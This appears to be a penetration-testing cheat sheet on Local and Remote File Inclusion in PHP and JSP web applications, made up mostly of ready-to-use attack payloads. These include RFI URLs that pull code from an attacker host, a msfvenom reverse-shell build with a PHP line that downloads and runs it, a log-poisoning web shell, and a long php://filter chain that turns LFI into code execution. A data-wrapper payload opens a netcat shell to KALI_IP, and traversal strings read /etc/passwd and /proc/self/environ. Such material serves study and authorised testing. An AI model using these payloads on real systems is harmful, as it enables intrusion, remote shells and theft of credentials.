Local File Inclusion (LFI) / Remote File Inclusion (RFI)

The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a “dynamic file inclusion” mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.

💡 Directory traversal is a subset of Local File Inclusion (LFI). See difference.

💡 Use lfi-windows.txt and lfi-linux.txt (GitHub).

Remote File Inclusion (RFI)

Trick for RFI payloads

End the payload with question mark (?) to mark anything added to the URL server-side as part of the query string.

http://x.x.x.x/page.php?file=http://KALI_IP/payload.txt?

Basic payloads for enumeration

Include them like:

http://x.x.x.x/page.php?file=http://KALI_IP/file_to_include.php

phpinfo.php

<?php phpinfo(); ?>

Get a reverse shell

Generate the reverse shell payload

See Msfvenom.

msfvenom -p linux/x86/shell_reverse_tcp LHOST=x.x.x.x LPORT=443 -f elf > rev.elf

Upload the reverse shell payload and execute it

echo '<?php print system("wget -O /tmp/rev.elf http://KALI_IP/rev.elf; chmod u+x /tmp/rev.elf; ls -la /tmp;/tmp/rev.elf"); ?>' > file_to_include.php
http://x.x.x.x/page.php?file=http://KALI_IP/file_to_include.php

LFI when no file upload

💡 Fuzz using Gobuster in fuzz mode!

Services

What other services are running on the machine(open ports)? Try finding file paths to credentials for these services. Checking where the service usually saves the config and/or credentials file.

wget https://raw.githubusercontent.com/carlospolop/Auto_Wordlists/main/wordlists/file_inclusion_windows.txt
wget https://gist.githubusercontent.com/korrosivesec/a339e376bae22fcfb7f858426094661e/raw/ec7d1167816a1b6a4a7843ddb72c94e1858d1b3a/lfi_windows.txt
wget https://raw.githubusercontent.com/carlospolop/Auto_Wordlists/main/wordlists/file_inclusion_linux.txt

Check if the file exists on the server via LFI

Adapt string to search when successful (example with “last modified”).

URL="http://x.x.x.x/index.php?page="
WL=lfi-linux.txt

rm curl.txt; for FUZZ in $(cat $WL); do proxychains -q curl -k "${URL}/${FUZZ}" > curl-tmp.txt; if grep -q "last modified" curl-tmp.txt; then echo "$FUZZ" >> curl.txt; fi; done

cat curl.txt

Recon – Linux

/etc/passwd
/home/<username>/.bash_history
/etc/issue
/etc/crontab
/proc/self/environ
/proc/self/fd
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/vsftpd.log
/var/log/sshd.log
/var/log/mail
/var/log/apache2/access.log

Recon – Windows

C:\xampp\apache\logs\access.log

Log poisoning

Send a request to the web application containing the payload to execute. The request should be logged. Then do the LFI on the log file.

nc -nv x.x.x.x 80
<?php echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';?>

Use a PHP wrapper to read the source code of pages

http://x.x.x.x/page.php?postid=php://filter/convert.base64-encode/resource=index.php

php://filter

Use trick from PayloadsAllTheThings and LFI2RCE.py to convert the LFI to RCE:

# vulnerable file: index.php
# vulnerable parameter: file
# executed command: id
# executed PHP code: <?=`$_GET[0]`;;?>
curl "127.0.0.1:8000/index.php?0=id&file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd"

Use the PHP data wrapper

http://x.x.x.x/page.php?file=data:text/plain,<?php echo shell_exec("whoami") ?>
http://x.x.x.x/page.php?file=data:text/plain,<?php shell_exec('nc.exe -nv KALI_IP 443 -e cmd.exe');?>
data://text/plain;base64,SSBsb3ZlIFBIUAo=

Examples

Input (HTML forms, emails, etc.)

<img src="/etc/passwd">

PHP

/vulnerable.php?language=http://evil.example.com/webshell.txt?
/vulnerable.php?language=C:\\ftp\\upload\\exploit
/vulnerable.php?language=C:\\notes.txt%00
/vulnerable.php?language=../../../../../etc/passwd%00
/vulnerable.php?language=../../../../../proc/self/environ%00

http://someurl.com/index.php?file=../../../../etc/passwd
http://someurl.com/index.php?file=../../../../etc/passwd%00
http://someurl.com/index.php?file=../../../../etc/passwd%00jpg

JSP

Unlike PHP, JSP is still affected by Null byte injection, and this param will execute JSP commands found in the web server’s access log.

/vulnerable.jsp?p=../../../../var/log/access.log%00

Fimap

❗ FORBIDDEN IN OSCP EXAM

Python tool which can find, prepare, audit, exploit and even google automatically for Local File Inclusion (LFI) or Remote File Inclusion (RFI) bugs in web applications.

#-------------------------------------------------------------------------------
# Help
#-------------------------------------------------------------------------------
fimap -h

#-------------------------------------------------------------------------------
# SSL Certificate error
#-------------------------------------------------------------------------------
export PYTHONHTTPSVERIFY=0 

#-------------------------------------------------------------------------------
# Hide Proxy information
#-------------------------------------------------------------------------------
nano /usr/share/fimap/fimap.py
# Comment rest of line
print "Using HTTP-Proxy" # '%s'...

#-------------------------------------------------------------------------------
# Scan single URL for Local File Inclusion (LFI) or RFI
#-------------------------------------------------------------------------------
URL="https://myurl.com"
fimap --single --autoawesome -u $URL --http-proxy="${HTTP_PROXY}" --force-os=windows

# With proxy
HTTP_PROXY="http://<username>:<password>@proxyserver.com:8080"
fimap --single --autoawesome -u $URL --http-proxy="${HTTP_PROXY}" --force-os=windows

#-------------------------------------------------------------------------------
# Scan all URL for Local File Inclusion (LFI) or RFI
#-------------------------------------------------------------------------------
URL="https://myurl.com"
fimap -m --autoawesome -u $URL --http-proxy="${HTTP_PROXY}" --force-os=windows --cookie="name1=value1;name2=value2"

# With cookies
--cookie=COOKIES